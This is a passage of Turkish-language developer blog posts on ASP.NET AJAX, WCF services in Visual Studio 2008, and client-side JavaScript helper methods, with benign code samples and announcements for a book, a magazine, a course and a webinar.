Hepinize kolay gelsin.
Visual Studio 2008 ve ASP.NET3.5 ile beraber AJAX Extensions'ın artık dahili
olduğundan daha önceki yazılarımda bahsetmiştim. Diğer yandan Visual Studio
2008'in Multi-Targeting özelliği sayesinde ASP.NET 2.0 sitelerini de Visual
Studio 2008 içerisinde hazırlama şansımız var. Tüm bunları yan yana koyduğumuzda
akla şu soru geliyor "ASP.NET 2.0 ile AJAX Extension kullanacağımız bir site
yaratabilir miyiz?" Eskiden Visual Studio 2005 ile yarattığınız AJAX Enabled Web
Site'ları Visual Studio 2008 ile açarak düzenleyebiliyorsunuz fakat maalesef
Visual Studio 2008 içerisinde .NET Framework 2.0 ile beraber ASP.NET 2.0 ile
AJAX Extensions 1.0 destekli siteler yaratmak için gerekli proje şablonları
gelmiyor.
O nedenle yukarıda bahsettiğim özelliği Visual Studio 2008'e entegre etmek
amacıyla ASP.NET 2.0 AJAX Exntensions proje şablonlarının yükleme paketi ayrı
olarak Microsoft tarafından duyuruldu. Hemen aşağıdaki adresten indirerek
bilgisayarınıza yükleyebilirsiniz. Tabi bunun öncesinde bilgisayarınızda Visual
Studio 2008 ve AJAX Extensions 1.0 sürümünün yüklü olduğunu varsayıyorum.
http://www.microsoft.com/downloads/details.aspx?FamilyID=5c7df430-1c34-40d2-b6ec-81353b5fcf2e&displaylang=en
Yüklemeyi tamamladıktan sonra Visual Studio 2008 içerisinde .NET Framework
2.0'ı seçtiğinizde aşağıdaki şekilde proje şablonları arasında "AJAX
1.0-Enabled ASP.NET 2.0 Web Site" da
seçebileceksiniz.
 AJAX Extensions 1.0 destekli ASP.NET 2.0 proje şablonu Visual Studio 2008 içerisinde.
Hepinize kolay gelsin.
PCnet'in
Aralık sayısı yine dopdolu :) Derginin
OKUL bölümünde AJAX, Silverlight,
Expression Web, Expression Blend, Expression Media ve Expression Design ile ilgili
yazılarım yer alıyor. Ayrıca Aralık sayısından itibaren dünyada ilk defa :) ASP.NET 3.5
bölümü PCnet'te!
ASP.NET 3.5 : ASP.NET 3.5 Geliyor!
AJAX : UpdatePanel uzmanlığı
Silverlight : Kolay Yoldan Silverlight Animasyonları
Expression Blend : MediaElement ile Video Sihirleri
Expression Web: Expression Web ile yolculuğa devam
Expression Design : İlk Windows Programımızı Tasarlayalım
Expression Media : Mültimedya Dosya Yönetimi
Tüm bu yazılara ek olarak Aralık sayısına özel sürpriz makalem :)
Yeni nesil MashUP uygulamaları :
MashUp uygulamaları hazırlamanın zevki Microsoft Popfly ile kat kat arttı.
Hepsi PCnet Aralık sayısında! :)
Daha fazlasını mı istiyorsunuz? PCnet ile beraber Expression Studio paketinden Blend, Web, Design, Encoder, Media'nın deneme sürümleri de DVD olarak geliyor.
Hepinize kolay gelsin.
ASP.NET 3.5'in gelmesi ile beraber yavaş yavaş yeni AJAX
uygulamalarımızı da bu yeni platforma taşımamız gerekiyor. Çoğunuzun
Visual Studio 2008'e ait Express sürümlerini hemen bilgisayarlarınıza
indirdiğinizden eminim. Bu yazımda bahsetmek istediğim nokta WCF
servisleri ile ASP.NET AJAX entegrasyonu. Aslında bildiğimiz üzere WCF
hiç de yeni bir teknoloji değil. .NET Framework 3.0 ile uzun
süredir hayatımızda olan WCF maalesef gerekli yazılımcı araçlarının zayıflığı
nedeniyle pek tercih edilmiyordu. Benim de aslında şu ana kadar bu konuda yazı
yazmamamın en önemli nedeni işin gerçekten zor olmasıydı, neyse "bekleyen
derviş" misali sonunda Visual Studio 2008 ile yine her şey gerekli
kolaylığa kavuştu.
Ben bu yazımda Visual Web Developer 2008 Express Edition
kullanacağım. Yazılımı hemen ücretsiz olarak aşağıdaki adresten bilgisayarınıza
indirebilirsiniz.
http://www.microsoft.com/express/download/
Visual Web Developer 2008 ile yeni bir web sitesi yarattıktan sonra eklenen
ilk default.aspx dosyasına bir ScriptManager
yerleştiriyoruz. Böylece artık söz konusu sayfa ASP.NET AJAX destekli bir sayfa
oluyor. Malum, artık AJAX özellikleri ASP.NET 3.5 ile beraber zaten dahili
olarak geliyor ve herhangi bir ek ayar veya yükleme gerektirmiyor. Sayfamızı bu
hali ile bıraktıktan sonra hemen projemize bir WCF servisi ekleyelim. Bunun için
"Solution Explorer" içerisinde projeye sağ tuş ile tıklayarak gelen
menüden "Add new Item" dedikten sonra "AJAX-Enabled WCF Service"
seçeneğini seçmemiz gerekiyor.
 Projemize yeni bir WCF servisi ekliyoruz.
Projemize yukarıdaki şekli ile bir WCF servisi eklediğimizde VWD (Visual
Web Developer) bizim için gerekli WCF end-point ayarlarını
Web.Config içerisinde otomatik olarak yapmakla birlikte AJAX
ile kullanabilmemiz için servisin gerekli JavaScript arayüzlerini de yaratmasını
sağlıyor. Web.Config içerisine baktığımızda aşağıdaki ek
düzenlemeleri görüyoruz.
<system.serviceModel>
<behaviors>
<endpointBehaviors>
<behavior name="ServiceAspNetAjaxBehavior">
<enableWebScript />
</behavior>
</endpointBehaviors>
</behaviors>
<serviceHostingEnvironment aspNetCompatibilityEnabled="true" />
<services>
<service name="Service">
<endpoint address="" behaviorConfiguration="ServiceAspNetAjaxBehavior"
binding="webHttpBinding" contract="Service" />
</service>
</services>
</system.serviceModel>
Gelin şimdi de yeni yaratmış olduğumuz ve benim örneğimde adını
service.svc verdiğim WCF servisimizin kodların bir bakalım.
Imports System.ServiceModel
Imports System.ServiceModel.Activation
Imports System.ServiceModel.Web
<ServiceContract(Namespace:="")> _
<AspNetCompatibilityRequirements(RequirementsMode:=AspNetCompatibilityRequirementsMode.Allowed)> _
Public Class Service
<OperationContract()> _
Public Function Topla(ByVal Sayi1 As Integer, ByVal Sayi2 As Integer) As Integer
Return Sayi1 + Sayi2
End Function
End Class
Aslında yukarıdaki kodun büyük bölümü VWD tarafından zaten otomatik olarak
yerleştirilmişti. Benim tek yaptığım kendi Function'ımı yazmak
oldu. Test amacıyla iki parametre alarak bunları toplayıp geri döndüren bir
Function hazırladım. Bu noktada özellikle dikkat etmemiz
gereken nokta bu Function'ların <OperationContract()> _
şeklinde işaretlenmiş olmasının gerektiği. Artık web servisim bittiğine göre
sıra geldi default.aspx'e dönerek gerekli JavaScript kodlarını
yazmaya.
İlk olarak web servisim tarafından toplanacak iki sayıyı kullanıcıdan almak
üzere iki adet HTML kutusunu ve toplama işlemini tetikleyecek olan HTML
düğmesini sayfama yerleştiriyorum. Sonrasında da ScriptManager'a
ServiceReference olarak WCF servisimi tanıtıyorum.
<form id="form1" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server">
<Services>
<asp:ServiceReference Path="service.svc" />
</Services>
</asp:ScriptManager>
<input id="Sayi1" type="text" />
<input id="Sayi2" type="text" />
<input onclick="Baslat()" id="Button1" type="button" value="button" />
</form>
Yukarıdaki kodu incelerseniz HTML Button nesnesinin Baslat
adında bir JavaScript fonksiyonunu tetiklediğini görebilirsiniz. Sıra geldi bu
JavaScript fonksiyonlarını yazarak web servisindeki kodumuzu asenkron olarak
kullanmaya.
 Visual Web Developer 2008 ile beraber gelen JavaScript Intellisense
Baslat adını verdiğim JavaScript fonksiyonumu yazarken aynen
eskiden ASP.NET AJAX Extension içerisinde Web Servisilerini
kullandığımız gibi WCF servisinin de sınıf ismi üzerinden tüm yazdığımız
metotlara ulaşabiliyoruz. Daha da güzeli tüm bunlar tamamen Intellisense desteği
ile geliyor :) Kodumuzu tamamladığımızda sayfanın tamamının kodu aşağıdaki
şekilde sonlanıyor.
<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
<script type="text/javascript">
function Baslat()
{
Service.Topla($get("Sayi1").value, $get("Sayi2").value,Tamamlandi);
}
function Tamamlandi(Data)
{
alert(Data.toString());
}
</script>
</head>
<body>
<form id="form1" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server">
<Services>
<asp:ServiceReference Path="service.svc" />
</Services>
</asp:ScriptManager>
<input id="Sayi1" type="text" />
<input id="Sayi2" type="text" />
<input onclick="Baslat()" id="Button1" type="button" value="button" />
</form>
</body>
</html>
Baslat JavaScript fonksiyonunda $get AJAX
Extension kısayol metodları ile sayfadaki Sayi1 ve
Sayi2 adındaki HTML elementlerini yakalayarak içlerindeki değerleri
AJAX ile asenkron olarak web servisime gönderiyorum. Gelen sonuç
Tamamlandi metoduma parametre olarak geliyor ve ben de bir JavaScript
mesaj kutusu ile bunu kullanıcıya gösteriyorum.
Sonuç
Görüldüğü üzere eski web servislerini kullanmak ile WCF servislerini kullanma
noktasında artık pek bir fark kalmamış durumda. O nedenle "Yaşasın WCF"
:) sloganı ile hepinize kolay gelsin diyorum :)
Visual Studio 2008'e adım adım yaklaştığımız şu günlerde belki de biraz geç
bir yazı yazıyorum. İster AJAX ister Silverlight uygulamalarında olsun artık
JavaScript kodu yazmayan veya yazamayan bir "web developer" şu an düşünülemez.
Bu noktada daha önceki yazılarımda da bahsettiğim üzere Intellisense desteği VS
2008 ile beraber geliyor fakat VS2008'in resmi lansmanı Şubat'ta yapılacak. Daha
acil bir çözüme ihtiyaç duyanlara ücretsiz bir alternatif tavsiyesinde
bulunacağım.
Aptana Community Edition!
Aptana'nın aslında ücretli olan bir sürümü var. Ama biz sadece JavaScript
editörü olarak kullanacağımız için bize ücretsiz olan Community Edition
yeter de artar bile. Programı hemen aşağıdaki adresten indirebilirsiniz.
http://www.aptana.com/download/#windows
 Aptana içerisindeki zengin JavaScript Intellisense desteği.
Aptana sayesinde artık sadece bir noktalı virgül eksiği yüzünden çalışmayan
JavaScript dosyalarınıza saatlerce bakıp da hatayı bulamama durumundan
kurtulabilirsiniz. Ayrıca Intellisense desteği ciddi kolaylık sağlıyor.
Yukarıdaki ekran görüntüsünde de görebileceğiniz üzere Cross-Browser JavaScript
kodu yazabilmeniz için tüm JavaScript sınıf ve metodlarının hangi tarayıcılar
ile uyumlu olduğuna ait bilgiler de direk Intellisense ile beraber ekrana
geliyor. Sıkıştığınız durumlarda gerçekten yardımcı olabilecek bir araç olarak
bilgisayarlarınızda kurulu bulundurmanızda fayda var.
Bugün Pusula Yayıncılık ile yaptığım görüşmede kitabımla ilgili stokların tükenmeye yaklaştığını öğrenerek sevindim. Kitabın özellikle ASP.NET'i bilenlere hitap ettiğini ve yayınlandığı Haziran'dan bu yana 4 ay geçtiğini düşünürsek ortalamanın üzerinde bir satış olması güzel.
Kitabımı alıp inceleme şansını yakalayanlardan bir ricam var :) "Bu kitapta şu da olsa muhteşem olurdu." dediğiniz konuları, yazılımları veya her tür düşünce, yorumlarınızı bana iletmenizi rica ediyorum. Katkılarınız benim için çok değerli. İster buraya yorum olarak atın ister mail atın, fark etmez. Olumlu, olumsuz herşeyi bekliyorum.
Bu arada hala kitabı almadıysanız tükenmeden bir tane alın :)
.NET Framework sürümleri arasında farklar zaten hali hazırda karıştırılırken
bir de üzerinde .NET Framework 3.5 gelecekken aşağıdaki görseli birazdan
bahsedeceğim bir Microsoft posterinde yakaladım. Bence herşeyi açıklıyor.
 .NET Framework sürümleriyle gelen yeni özellikler.
.NET Framework 3.0 ile beraber zaten tanıdığımız 2.0 sürümüne WPF, WCF, WF ve
CardSpace eklendi. Önümüzde bizi bekleyen 3.5 sürümü de tüm bunların üzerinde
LINQ, AJAX ve REST ile beraber geliyor. Bu konularda zaten daha önce makaleler
yazmıştım.
Son olarak yukarıdaki görseli bulduğum Microsoft posterini de sizlerle
paylaşmak istiyorum. Aşağıdaki adresten indirebileceğiniz posterde .NET
Framework 3.5 ile beraber sıkça kullanılması olası NameSpace'lerin bir listesi
ve hangi NameSpace'in hangi platformda desteklendiğine dair bilgiler bulunuyor.
Eğer olanağınız varsa bir dijital baskı merkezinden 50*70cm bastırarak
duvarınızı süsleyebilirsiniz :)
http://download.microsoft.com/download/4/a/3/4a3c7c55-84ab-4588-84a4-f96424a7d82d/NET35_Namespaces_Poster_LORES.pdf
Gelişim
Platformu ve MayaSoft
Bilişim Akademisi işbirliğinde bir organizasyon ile yeni bir ASP.NET AJAX eğitimi düzenliyoruz.
Eğitim 19 Kasım - 5 Aralık tarihleri arasında Pazartesi,
Çarşamba ve Cuma akşamları 19.00 ile 22.00 arasında gerçekleşecek. Sanırım hem
öğrenciler hem de çalışanlar için zamanlama açısından çok uygun olacaktır.
Eğitimle beraber
ASP.NET AJAX kitabım da veriliyor olacak. Eğitim içeriğinden ve konularından
bahsetmeyeceğim, direk
GP sitesinden bakabilirsiniz. Benim söyleyebileceğim tek şey ASP.NET ve AJAX
ile ilgili her şeyi inceleyeceğimiz bir kampa girecek olacağımız. Kayıt için
yine
GP sitesinden ilerlemeniz gerekecek.
Görüşmek üzere ;)
Yepyeni bir webiner ile tekrar karşınızdayım :) 7 Kasım Çarşamba
günü saat 15:15-16.00 arası Silverlight uygulamaları ile
ASP.NET 2.0 ve ASP.NET AJAX Extension kullanımına değineceğiz. İstemci tarafında
Silverlight ile ASP.NET AJAX Extension entegrasyonu sağlayarak sunucu tarafında
herhangi bir veritabanından asenkron olarak veri çekerek yine Silverlight
tarafında verimizi kullanacağız.
Meeting ID: 3KJ7K7
Webiner Bağlantısı :
https://www112.livemeeting.com/cc/microsoft/join?id=3KJ7K7&role=attend&pw=x4G%40Ncxxd
Webinere kayıt olmak için tıklayınız.
Bu webiner Microsoft Kurumsal Webiner serisinden olduğu için yukarıdaki
linkten giriş yaparak kayıt olmanız gerekiyor.
PCnet'in Kasım sayısında yepyeni yazılarımla yine karşınızdayım :) Derginin
OKUL bölümünü genişlettik, artık AJAX, Silverlight,
Expression Web, Expression Blend ve Expression Design ile ilgili yazıyor olacağım. Dünyada ilk defa bir dergide Silverlight Eğitim içeriğine yer veriliyor. Kasım sayısındaki yazılarımın başlıkları aşağıdaki şekilde;
AJAX : UpdatePanel Mucizesi
Silverlight : Expression Encoder ve Silverlight
Expression Blend : Windows Uygulamarında Animasyonlar
Expression Web: Güle Güle Frontpage
Expression Design : Vektörel Tasarım ve XAML Tek Merkezde
Tüm bu yazılara ek olarak Kasım sayısına özel bir sürpriz makale daha var :)
Flash VS Silverlight
Tahmin ettiğiniz gibi Flash ve Silverlight arasında çetin bir karşılaştırma
yazısından bahsediyorum. Hepsi PCnet Kasım sayısında! :)
İşim gereği hayattım internette geçiyor, nitekim artık çoğumuzun hayatı internette geçiyor, fakat takip edecek o kadar çok kaynak var ki gerçekten zaman ayırmak güç. Ben hazır bu zamanı ayırmışken karşılaştığım güzel makalelerin bir kısmını sizlerle de paylaşmaya karar verdim.
Belki haftalık, belki aylık veya büyük ihtimal ile belirsiz aralıklarla :) bu
tarz derlemeler yaparak internette karşılaştığım içeriği sizlere sunuyor
olacağım.
Ajax View JavaScript Instrumentation Proxy - Uğur Umutluoğlu
AJAX Uygulamalarındaki JavaScript kodlarının performans analizi ile ilgili bir
aracın tanıtıldığı bu yazıyı okumanızı öneririm.
Web Sayfalarını Temel Bir Class'tan Kalıtmak - Uğur Umutluoğlu
Web sitenizin her sayfasında sürekli tekrar ettiğiniz bazı işlemleri kolay
yoldan halletmenizi sağlayacak güzel bir makale.
AJAX kullandıgınız bir ASP.NET uygulamasında JS ile yeni pencere açmak - Çeliker Bahçeci
Makalede JavaScript ile PopUp açmak için ASP.NET AJAX Extension ile
kullanabileceğiniz bir teknik inceleniyor.
İl - İlçe - Semt Veritabanı | SQL Server 2005 - Gökhan Bağcı
Farklı projelerde web sitenizin ziyaretçilerin ile göre ilçe, hatta semt
seçtirmek isteyebilirsiniz. İşte size hazır veritabanı...
İster internet üzerinden yayınlanan makalelerde olsun ister blog sitenize yollayacağınız bir ipucunda, maalesef sayfanıza HTML kodu veya herhangi bir kod yerleştirmek istediğinizde Visual Studio içerisinden alışık olduğumuz renklendirmeyi almamız pek mümkün olmuyor. Bu durumda çoğu sitede ekran görüntülerinden oluşan resimlerle dolu makaleler görüyoruz. Ben bugüne kadar bu sorunu biraz uğraştırıcı bir yöntemle çözüyordum :)
Bugünden sonra ise CopySourceAsHtml adındaki bir Visual Studio 2005 add-in uygulamasını kullanacağım. Yaptığım testlerde epey başarılı sonuçlar aldım. Uygulama direk Visual Studio içerisindeki renklendirme üzerinden HTML kodu yaratabiliyor. Programı aşağıdaki adresten indirebilirsiniz.
http://www.jtleigh.com/people/colin/software/CopySourceAsHtml/
Silverlight ile çalışmalarım yoğun olarak devam ediyor. Bu kapsamda DEVELOAD bünyesinde de Silverlight konusuna eğiliyoruz. Son dört senedir aynı web sitesini kullanmanın derdi ve biraz daha sade bir arayüz arayışı ile Silverlight'ın heyecanı da birleşince sonuç Türkiye'nin ilk kurumsal Silverlight uygulaması oldu.
http://www.deveload.com adresinden inceleyebileceğiniz site Silverlight 1.0 ve ASP.NET AJAX kullanılarak programlandı. Yazılım geliştirme süresince karşılaştığımız herşey bizi o kadar memnun etti ki maalesef bir daha Adobe Flash'a dönmeyi düşünmüyoruz. Silverlight hem XML tabanlı animasyon sistemi, hem de JavaScript ile programlanabiliyor olması ile gerçekten çok daha esnek. Tabi bahsetmeden de geçemeyeceğim, ziyaret edeceğiniz site arkaplanda bir içerik yönetim sistemine de bağlı.
Siteyle ilgili yorumlarınızı heyecanla bekliyorum ;)
ASP.NET AJAX ile beraber gelen JavaScript özelliklerine değindiğimiz yazı serisinin son yazısında JavaScript handler işlemlerine bakacağız. ASP.NET sunucu tarafındaki handler yaratmak bizim için çok kolay. Oluşturduğumuz herhangi bir Sub'ın tanımının sonuna handles yazdığımızda olası seçenekler karşımıza çıkıyor. Ayrıca otomatik olarak gerekli kodların eklenmesini de sağlayabiliyoruz. AddHandlers metodu sunucu tarafında kullandığımız metodlardan biri. JavaScript ile istemci tarafında da bu tarz işlemler yapmamız mümkün. Bir düğmenin tıklandığında hangi komutları çalıştıracağına yine istemci tarafında JavaScript ile karar verebiliyoruz. Gelin kullanabileceğimiz metodlara ufak örnekler ile bakalım.
$addHandler Metodu
Sayfa içerisindeki HTML elementlerinin farklı durumlarına handler'lar atamak için $addHandler metodunu kullanıyor olacağız. Başındaki $ işaretinden de anlaşılacağı üzere bu bir kısayol metodu. Metodun tam yolu Sys.UI.DomEvent.addHandler şeklinde. Örneğimizde bir düğmenin onclick durumunda hangi JavaScript komutunu çalıştıracağına yine başka JavaScript komutları ile karar veriyor olacağız. Bunun için bagla adındaki bir JavaScript fonksiyonu kullanacağız ve söz konusu fonksiyon sayfanın ilk açılışında çalışıyor olacak.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script language="javascript" type="text/javascript">
function Uyari()
{
alert("Düğmeye basıldı");
}
function Bagla()
{
$addHandler($get("Button1"), 'click', Uyari);
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body onload="Bagla();">
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<input ID="Button1" runat="server" type="button" value="button" /></div>
</form>
</body>
</html>
Yukarıdaki örneğimizde sayfanın başında body tagına verdiğimiz onload durumunda çalışan Bagla fonksiyonu devreye giriyor. Sonrasında Bagla fonksiyonu içerisindeki kodumuz ile Button1'in click durumuna Uyari adındaki JavaScript fonksiyonumuzu aktarıyoruz. Böylece bir sonraki aşamada artık düğmeye basıldığında Uyari fonksiyonu çalışıyor olacak.
$addHandlers Metodu
Bir önceki bölümde incelediğimiz addHandler metodu ile birden çok handler eklerken kullanabileceğimiz bir diğer method da addHandlers metodu. Birden çok handlerı bir HTML elementine eklemek için tek yapmamız gereken listemizi aşağıdaki formatta hazırlayarak addHandlers metoduna aktarıyor olmak.
{click:Uyari, mouseover:Tikla, mouseout:Dugme}
Listemizi handler isimleri ve çalışacak JavaScript fonksiyonlarının isimlerinden yukarıdaki şekilde hazırladıktan sonra addHandlers metodunu aşağıdaki şekilde kullanabiliyoruz.
$addHandlers($get("Button1"), {click:Uyari, mouseover:Tikla, mouseout:Dugme});
addHandlers metoduna verdiğimiz ilk parametre handler'ları eklemek istediğimiz HTML elementinin kendisi. İkinci parametremiz için bir önceki aşamada hazırladığımız handler listemiz.
$removeHandler Metodu
Handler'ları kontrollerimize ekledikten sonra bazı durumlarda çıkarmak da isteyebiliriz. Örneğin bir düğmeye bir defa basılacak ise handler'ını kaldırarak bir daha basılmasını engelleyebiliriz. Bu durumda kullanacağımız metodun adı $removeHandler şeklinde. Metodumuzun kullanım şekli aşağıdaki gibi;
$removeHandler($get("Button1"), "mouseover", Tikla);
$removeHandler metodu bizden toplamda üç parametre alıyor. Bu parametrelerden ilki handler'ı kaldıracağımız HTML elementinin kendisi. İkinci parametre ise handlerın adı. Biz kodumuzda söz konusu HTML elementinden mouseover handler'ını kaldırıyoruz. Son parametre olarak da handler olan JavaScript fonksiyonunun adını veriyoruz.
$clearHandlers
Peki HTML elementimizden tüm handler'ları kaldırmak istiyorsak ne yapabiliriz? İşte bu noktada $clearHandlers metodunu kullanabiliriz. Söz konusu metod parametre olarak sadece hedef HTML kontrolünü alıyor. Sonrasında HTML elementine ait tüm handler'lar temizleniyor.
$clearHandlers($get("Button1"));
Yukarıdaki kodumuz kendisine aktarılan Button1 elementinden tüm handler'ları siliyor.
Sonuç
ASP.NET AJAX Extension ile beraber gelen JavaScript özelliklerini incelediğimiz bu yazı serimiz boyunca ilk olarak sınıf, üye ve kütüphane yapılarını inceledik, enumaration yapısını kullandık. Sonrasında JavaScript dizileri üzerinde çalışırken bize kolaylık sağlayabilecek yeniliklerden bahsettik. Metin, tarih ve sayısal değişkenlerle ilgili yeni JavaScript fonksiyonlarını da inceledikten sonra DOM üzerinde HTML elementlerine ulaşabilmemizi ve görsel özelliklerini değiştirebilmemizi sağlayacak JavaScript yenilikleri ile ilgili örnekler yaptık. Son olarak bu yazımızda da handler işlemlerinden bahsettik.
Tüm bu yeni JavaScript olanakları ile istemci taraflı programlama yapmanın kolaylaştığından bahsetmek hiç de yanlış olmaz. AJAX Extension ile gelen bu yeniliklerle hepinize yeni projelerde başarılar dilerim ;)
Hepinize kolay gelsin.
Bir önceki yazımızda ASP.NET AJAX Extension ile beraber gelen istemci tarafındaki sayısal, metin ve tarih değişkenleri ile ilgili fonksiyonları inceledikten sonra sıra DOM objeleri ile ilgili metodlara geldi. İstemci tarafında JavaScript kodu kullanırken sıklıkla yaptığımız işlemler arasında sayfanın görsel özellikleri üzerinde oynamak geliyor. Bazen tüm sayfanın bazen de sayfadaki belirli elementlerin farklı özelliklerini JavaScript ile değiştirmemiz gerekebiliyor. Bu durumda artık eski stil JavaScript komutları ile boğuşmaktansa ASP.NET AJAX Extension ile beraber gelen yeni komutları kullanabiliriz. Yazı boyunca olabildiğince yeni özellikleri eski muadilleri ile karşılaştırarak ilerliyor olacağız.
$get Metodu
Sayfa içerisindeki HTML elementleri üzerinde JavaScript ile değişiklik yapabilmek için söz konusu elementleri sayfada bulmuş veya bir anlamda yakalamış olmamız gerekir. Elimizde olmayan bir obje üzerinde değişiklik yapmamız da mümkün olmayacaktır. Gelin ilk olarak eskiden bu işi nasıl yapıyorduk ona bir bakalım.
document.getElementById("Label1").innerHTML= "Birinci Metin geldi.";
Yukarıdaki kodu kullanarak sayfa içerisinde yer alan Label1 adındaki nesneyi yakalayarak JavaScript ile içeriğini değiştirebiliyoruz. Tabi bu kodu kullanmak için sayfamızda ScriptManager yer alması gerekmiyor. Peki projemiz hali hazırda bir ASP.NET AJAX projesi ise ve sayfamızda bir ScriptManager var ise ne kullanabiliriz?
Sys.UI.DomElement.getElementById("Label1").innerHTML= "Metin geldi.";
ASP.NET AJAX Extension ile beraber gelen yapı yukarıdaki gibi. "Bunun neresi daha kolay?" deyişinizi duyar gibiyim. Kesinlikle haklısınız hiç de kolay değil, hatta bariz bir şekilde daha uzun bir kod söz konusu. Ama Microsoft tarafındaki geliştiriciler de zaten durumun farkında bu nedenle bu JavaScript sınıfları için birer kısayol komutu da tanımlamışlar.
$get("Label1").innerHTML= "Metin geldi.";
Ne kadar kolay değil mi? Gerçekten de öyle. Sadece $get metodunu kullanarak yakalamak istediğimiz elementin ID bilgisini vermemiz yeterli. Elementi yakaladıktan sonra üzerinde her tür işlem yapabilirsiniz.
addCssClass Metodu
Sayfamız içerisindeki HTML elementlerini yakaladıktan sonra sıra geldi elementlerin görsel özelliklerini değiştirmeye. Bunun için ilk aşamada farklı görsel özellikleri tanımlayan birer CSS sınfı hazırlayalım.
<style type="text/css">
.baslik1 {
font-family: Arial, Helvetica, sans-serif;
font-size: large;
font-weight: bold;
text-transform: uppercase;
color: #FF0000;
}
.baslik2 {
font-family: Arial, Helvetica, sans-serif;
font-size: medium;
font-weight: bold;
font-variant: small-caps;
color: #C0C0C0;
}
</style>
CSS sınıflarımızı yukarıdaki gibi tanımladıktan sonra bu CSS sınıflarını JavaScript ile yakaladığımız elementlere yine JavaScript ile ekleyeceğiz. Kodumuz aşağıdaki gibi olacak.
Sys.UI.DomElement.addCssClass($get("Label1"), "baslik2");
Maalesef addCssClass metodu için bir kısayol metodu bulunmuyor, bu nedenle tam yolunu yazmamız şart. Örneğimizde de gördüğünüz üzere $get metodu ile sayfadaki Label1 nesnesini yakaladıktan sonra addCssClass metoduna birinci parametre olarak veriyoruz. Böylece addCssClass kendisine ikinci parametre olarak verdiğimiz isimdeki CSS sınıfını hangi HTML elementine ekleyeceğini de algılayabiliyor. Dikkatinizi çektiyse yukarıda iki adet CSS sınıfı tanımladık. Bir objenin CSS sınıfını değiştirmek isterseniz, yani söz konusu HTML elementinin CSS özelliğine addCssClass ile baslik1'i ekledikten sonra baslik2 CSS sınıfını eklemek isterseniz maalesef görsel olarak birşey değişmeyecektir. Bunun nedeni bir HTML elementine sadece bir CSS sınıfı ekleyebileceğinizdendir. Peki ne yapacağız? Tabi ki eklediğimiz CSS sınıfını önce çıkaracağız sonra da diğerini ekleyeceğiz. HTML elementlerinden CSS sınıfı çıkarmak için kullanacağımız metodu bir sonraki bölümde inceleyeceğiz.
removeCssClass Metodu
Bir önceki bölümde HTML elementlerine CSS sınıfları ekledik. Şimdi sıra geldi çıkarmaya. CSS sınıfını söz konusu elementten çıkartırsak başka bir CSS sınıfı ekleyebileceğiz.
Sys.UI.DomElement.removeCssClass($get("Label1"), "baslik2");
Yukarıdaki kodumuz ile removeCssClass metoduna verdiğimiz ilk parametredeki HTML elementinden ikinci parametrede verdiğimiz CSS sınıfı çıkartılıyor. Böylece bir sonraki aşamada addCssClass metodu ile başka bir CSS sınıfını elementimize ekleyebiliriz.
containsCssClass Metodu
HTML elementlerine bir CSS sınıfını ekleyip eklemediğinizi kontrol etmeniz gerektiğinde containsCssClass metodunu kullanabilirsiniz.
<script language="javascript" type="text/javascript">
function Resim()
{
if (Sys.UI.DomElement.containsCssClass($get("Image1"), "gizle"))
{
Sys.UI.DomElement.removeCssClass($get("Image1"), "gizle");
Sys.UI.DomElement.addCssClass($get("Image1"), "goster");
}
else
{
Sys.UI.DomElement.removeCssClass($get("Image1"), "goster");
Sys.UI.DomElement.addCssClass($get("Image1"), "gizle");
};
}
</script>
Yukarıdaki Resim JavaScript fonksiyonumuz sayfada bulunan Image1 adında bir nesneyi bularak eğer CSS sınıfı gizle şeklinde verilmiş ise goster yapıyor, aksi halde ise gizle yapıyor. gizle ve goster CSS sınıflarını aşağıda inceleyebilirsiniz.
<style type="text/css">
.gizle {
display: none;
}
.goster {
display: block;
}
</style>
Söz konusu CSS sınıflarımız HTML elementi üzerinde değiştirildiğinde elementimiz sayfada bir görünmez olacak bir görünür olacak.
toggleCssClass Metodu
Geldik CSS sınıfları ile ilgili benim en sevdiğim fonksiyona. Tüm yukarıda öğrendiklerimizin ötesinde eğer bir HTML elementinin CSS sınıfını değiştirmek istiyorsanız kısa yoldan toggleCssClass metodunu da kullanabilirsiniz. Metodumuz hedef HTML elementinin CSS sınıfını verdiğimiz başka bir sınıf ile değiştiriyor. Gelin bir önceki bölümümüzde JavaScript kodumuzu toggleCssClass metodunu kullanarak baştan yazalım.
<script language="javascript" type="text/javascript">
function Resim()
{
if (Sys.UI.DomElement.containsCssClass($get("Image1"), "gizle"))
{
Sys.UI.DomElement.toggleCssClass($get("Image1"), "goster");
}
else
{
Sys.UI.DomElement.toggleCssClass($get("Image1"), "gizle");
};
}
</script>
Gördüğünüz gibi kodumuz çok daha kısa ve sade oldu. toggleCssClass metodunun kullanımı da aynı addCssClass metodu gibi. CSS sınıfını değiştireceğimiz HTML elementi ile birlikte atanacak CSS sınıfının adını sırası mile parametre olarak vermemiz yeterli.
İstemci taraflı ASP.NET AJAX Extension JavaScript yeniliklerini incelediğimiz serimizin bu yazısında DOM üzerinde işlem yapmayı ve görsel özelliklerle ilgili atamalar yapmayı inceledik. Bir sonraki yazımızda JavaScript handler işlemlerine değineceğiz.
Hepinize kolay gelsin.
ASP.NET AJAX Extension ile gelen JavaScript özelliklerini incelediğimiz serimize devam ediyoruz. Bu sefer inceleyeceklerimiz arasında farklı değişken tiplerine özel olarak gelen ve bizim aslında çoğuna .NET tarafında alışkın olduğumuz metodlar var.
String.endsWith ve String.startsWith
